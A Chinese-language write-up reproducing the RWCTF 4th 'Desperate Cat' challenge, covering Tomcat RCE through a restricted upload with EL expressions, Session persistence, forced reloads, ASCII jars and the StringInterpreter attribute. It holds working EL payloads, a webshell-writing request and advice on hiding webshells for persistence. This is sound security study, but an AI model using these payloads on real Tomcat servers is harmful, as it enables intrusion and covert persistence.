目录
[TOC]
前言
跟我一起参加入职培训的师傅找我一起做RealWorld 4th的Desperate Cat,看了writeup,在做题过程中学到了很多,在最后也是成功复现,记录一波。
关键词:
- EL表达式
- Tomcat Session存储
- jsp编译过程
- Tomcat reload条件
Desperate Cat背景
在这篇推文RWCTF 4th Desperate Cat Writeup中,作者出了一道名为Desperate Cat的realworld CTF赛题,取材于现实攻防遇到的难点(不得不说,这样的题目才是真正的以赛代练)
下面是对该赛题的描述:
存在文件上传功能点
服务端中间件是 Tomcat,可以往 Tomcat Web 目录下写文件;
写入的文件名后缀可控、没有检查;
写入的文件名前缀不可控,会被替换为随机字符串;
可指定文件的写入目录,且写入文件时如果文件所在的目录不存在,会递归进行父目录的创建;
写入的文件内容部分可控,且以字符串编码的形式写入(而非直接传递的字节流),并且前后有脏数据;
写入的文件内容里如下特殊字符被进行 HTML 转义:
1
2
3
4
5
6
7& -> &
< -> <
' -> '
> -> '
" -> "
( -> (
) -> )
初步思路:
既然是JavaWeb,最方便的就是写jsp webshell,但是jsp中存在<%%>这样的尖括号,会被转义从而失效,这是难点一;如果抛弃jsp的尖括号采用EL表达式,例如:${pageContext.request.getSession().setAttribute(“a”,pageContext.request.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”).getInputStream())},那么又存在括号,也会被转义,这是难点二。
EL表达式从JSP2.0技术开始就内置支持了,不需要web.xml做配置
voidfyoo预期解
jsp unicode尝试
对于难点二,可以将jsp全部unicode编码再上传
1 | <%@ page import="java.io.InputStream" %> |
但是就存在尖括号,而纯EL表达式又存在括号,难点一和难点二互相制肘。
柳暗花明
voidfyoo师傅就提出几种思路:
- 看 Tomcat JSP 中是否支持类似于 EL 这类具有动态执行能力的其他语法特性;
- 看 EL 表达式中是否支持某些特殊编码,利用特殊编码将要转义的字符进行编码来绕过;
- 看 EL 表达式中是否可能存在二次解析执行(类似于 Struts2 中之前表达式二次渲染注入的漏洞);
- 在不使用圆括号的情况下,通过 EL 表达式的取值、赋值特性,获取到某些关键的 Tomcat 对象实例,修改它们的属性,造成危险的影响;
最终使用第四种思路,通过4个EL表达式修改属性,完成rce。
Tomcat Session保存机制
在Tomcat中为了Session数据持久化,会在Catalina退出或者reload
时在\work\Catalina\域名\应用名\SESSIONS.ser
中存储Session中的数据,在Catalina/reload时,遍历加载各个应用的SESSIONS.ser文件。
SESSIONS.ser是默认的SESSION持久化文件名,可以在conf/context.xml文件中设置
1 | <Context> |
首先在jsp中设置session的attribute
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
然后手动退出Catalina
使用kali下的msf-java_deserializer工具查看内容
那么在攻防中拿到了主机权限是不是也可以把SESSIONS.ser文件脱下来看看有没有敏感信息呢
Catalina退出写入Session文件
首先是Catalina退出的情况,这时候只需要完成以下三点即可:
- 设置pathname(Session文件的保存文件名)
- 设置session中的值
- 退出Catalina
上传jsp
1 | #pageContext.getServletContext().getClassLoader().resources.context.manager.pathname |
传入payload(必须url编码)
1 | ?a=hackerqwq&b=%3C%25out.println('shell')%3B%25%3E&p=D:/Tomcat/webapps/ROOT/shell.jsp |
jsp后缀的session文件已经写入,使用SerializationDumper工具查看发现jsp内容已经存在
reload写入Session文件
reload原理分析
在实际环境中不可能靠Tomcat关闭来达到写入Session文件的目的,这样就算shell写入进去了也无法访问,这里就用到了reload的知识点,通过reload同样可以触发Session文件保存机制。
在org/apache/catalina/session/StandardManager.java
中看到这样一段说明
明确说明在server关闭或者重启、webapp reload的时候都会进行session持久化。
接着全局搜索reload方法,找到了三种reload()方法
- 后台周期性监视Context变化
- manager手动reload
- Host配置
作者的做法采用的是第一种reload方法。在backgroudProcess()
方法中想要进入reload()
方法需要满足以下两个条件
- reloadable设置为true
- modified()方法返回为true
通过google搜索Tomcat reloadable相关信息找到了相关描述
https://tomcat.apache.org/tomcat-7.0-doc/config/context.html
当reloadable被设置为true时,Catalina会监听/WEB-INF/classes/
和/WEB-INF/lib
下的变化,一旦检测到变化就会reload,通过跟进modified()
方法也确实找到了相关的技术实现,准确的说当有以下变化时会返回为true
- /WEB-INF/classes/下class文件lastModified时间改变
- /WEB-INF/lib下的jar包有新增、删除、修改,还是通过lastModified时间来判断
达成reload条件
那么总结起来,想要触发reload,需要以下条件
- reloadable为true
- class文件或者jar包的Lastmodified Time变化
设置reloadable还是老方法,在pageContext.servletContext.classLoader.resources.context中就能设置reloadable参数
1 | ${pageContext.servletContext.classLoader.resources.context.reloadable=true} |
jar包可以通过文件上传的方式来修改lastModified时间
修改appBase
但是问题还是没有完全解决
当 Context reload 时,尽管确实会将我们构造的 Session 里的恶意数据写到本地 JSP,但由于我们写入的 Jar 文件不合法(前后存在脏数据),应用 Context 会 reload 失败,导致部署的这整个应用直接 404 无法访问!
因此需要修改appBase,从官方文档中找到了appBase相关描述
https://tomcat.apache.org/tomcat-8.0-doc/config/host.html
此虚拟主机的应用程序基目录。 这是一个目录的路径名,该目录可能包含要部署在此虚拟主机上的 Web 应用程序。
通过在reload之前修改appBase可以做到将任意目录映射到该context下,实现任意文件读取或者是webshell解析,payload如下
1 | #pageContext.getServletContext().getClassLoader().getResources().getContext().getParent().setAppBase(request.getParameter("d")); |
完整exp
1 | 1. 上传jsp包含el表达式 |
上传jsp(本地直接拖文件模拟上传)后修改各种属性
手动拖一个jar包进/WEB-INF/lib
下触发reload,将D:/当成appBase,对子目录进行加载
经过一系列context的加载后,终于到了检测到了ROOT的/WEB-INF/lib
增加了jar触发reload
访问shell.jsp,能够看到jsp代码已经执行成功
1 | http://localhost:8888/test/shell.jsp |
官方Desperate Cat的writeup
1 | #!/usr/bin/env python3 |
WreckTheLine和Sauercloud战队非预期解
WreckTheLine和Sauercloud战队的选手采用的方法跟作者的预期解有所不同,他们采用的是构造合法jar包上传到/WEB-INF/lib
再通过修改WatchedResources
的方法进行reload,最终geshell。
先简单说一下两个战队的相同地方:
上传ascii-jar到
/WEB-INF/lib
下修改WatchedResources触发reload
不同地方:
- WreckTheLine战队的师傅将shell写到
/META-INF/resources
下,reload之后直接在webapp/
下就能访问到shell。 - Sauercloud战队的师傅将shell编译为class文件打包为jar包,reload之后通过设置
org.apache.jasper.compiler.StringInterpreter
,然后再进行jsp的Generator的过程中触发class对应类的实例化,从而rce。
下面介绍WatchedResources和jsp中有关Generator的知识。
WatchedResources
官网介绍:https://tomcat.apache.org/tomcat-7.0-doc/config/context.html
Tomcat 会有后台线程去监控这些文件资源,在 Tomcat 开启 autoDeploy 的情况下(此值默认为 true,即默认开启 autoDeploy),一旦发现这些文件资源的 lastModified 时间被修改,也会触发 reload:
各版本WatchedResource如下
1 | #Tomcat8 |
- WatchedResource可以是文件也可以是目录!!!
jar包内资源文件映射
java官方Servlet说明文档:https://javaee.github.io/servlet-spec/downloads/servlet-4.0/servlet-4_0_FINAL.pdf
提到了很关键的一点
除了JSP和jar包中的/META-INF/resources/中的静态资源,没有其他/WEB-INF/中的资源可以被container直接提供给客户端
翻译过来就是,/META-INF/resources中的静态资源可以直接映射到Servlet的/
下
构造合法jar包
在Desperate Cat这题的前提条件下,有这么一些条件
- 只能上传UTF-8编码的String
- 上传文件的前后有脏字符
&<'>"()
等字符会被编码
在这样的条件下想要在ascii(32-127)范围内构造出一个jar包,后续这个jar包前后还要被填充脏字符,听起来难度很大,但是c0ny1师傅实现了,原理是:
- 在jar包文件结构的基础上将各部分的字节控制在(0-127)内
- crc,raw_data和compressed_data之间的互相影响关系,通过填充脏字符来解决
- 使用phith0n师傅的PaddingZip项目来实现在jar包前后增加脏字符,通过offset来使得jar包依旧有效
https://mp.weixin.qq.com/s/V5UzhjWKgB7_cAJWer8mZg
这里直接用师傅的项目生成jar包
diggid4ever师傅的改进版更好
1 | 1.1 生成包含class的ascii jar |
jsp编译过程
参考链接:https://blog.ahao.moe/posts/JSP_compile_and_load.html
- 客户端请求
JSP
文件. Servlet
容器将请求交给org.apache.jasper.servlet.JspServlet
处理, 具体配置在Tomcat
的conf/web.xml
中.JspServlet
生成java
文件, 编译为class
文件, 加载到ClassLoader
, 加入缓存中.- 调用生成的
Servlet
的service
方法处理请求.
主要对Sauercloud战队使用到的org.apache.jasper.compiler.StringInterpreter
属性进行一个跟进,以下是从访问jsp到调用newInstance()
函数进行rce的一个过程梳理
首先jsp、jspx在conf/web.xml
文件中定义了具体的处理servlet
1 | <servlet-name>jsp</servlet-name> |
所有的jsp和jspx都经过org.apache.jasper.servlet.JspServlet
这个Sevlet处理,而从JspServlet
到newInstance()
经过了以下函数,有兴趣的可以下载Tomcat源码跟进一下
1 | org.apache.jasper.servlet.JspServlet#init |
挑几个关键的点来突出讲一下
在
compile()
函数将jsp转换为java代码中会通过jspCompiler.isOutDated()
函数判断jsp文件是否过时,有以下两个方法可以让其过时- 可以在
web.xml
里的JspServlet
配置modificationTestInterval
参数, 指定一定秒数内return false
, 不进行重新编译. - 修改jsp的modified time,即新增/修改jsp的内容
- 可以在
在
getStringInterpreter
函数中会获取context(ServletContext)中org.apache.jasper.compiler.StringInterpreter
这个属性的值作为类名进行实例化创建
最后在createInstance方法中完成实例化创建,也就是我们提前写在构造函数中的恶意代码
1 | private static StringInterpreter createInstance(ServletContext context, |
完整exp
对于WreckTheLine战队来说,只需要完成以下两步即可:
构造ascii-jar包,在
/META-INF/resources/
中写webshell上传任意文件,指定为
WEB-INF/tomcat-web.xml
目录(题目前提条件提到了如果指定上传的目录不存在则递归创建),触发reload
本地测试步骤简单很多:
1 | #生成ascii-jar包 |
对于Sauercloud战队,需要完成三部:
构造包含class文件的ascii-jar
修改WatchedReources触发reload
上传jsp文件,包含设置
org.apache.jasper.compiler.StringInterpreter
属性的EL表达式1
2
3
4
5
6
7#jsp文件内容
${applicationScope[param.a]=param.b}
#传入payload
?a=org.apache.jasper.compiler.StringInterpreter&b=Exploit
#相当于执行以下jsp
pageContext.getServletContext().setAttribute("org.apache.jasper.compiler.StringInterpreter", "Exploit");
#最后再随便上传一个jsp触发Generator流程属性成功被修改
success文件也创建成功(class文件内容是生成success文件)
攻防应用
在实际应用中,可以通过上传一个jar包,在/METE-INF/resources/
中放置一个webshell直接映射到/
目录下做权限维持,但是又不存在具体文件,增加了隐蔽性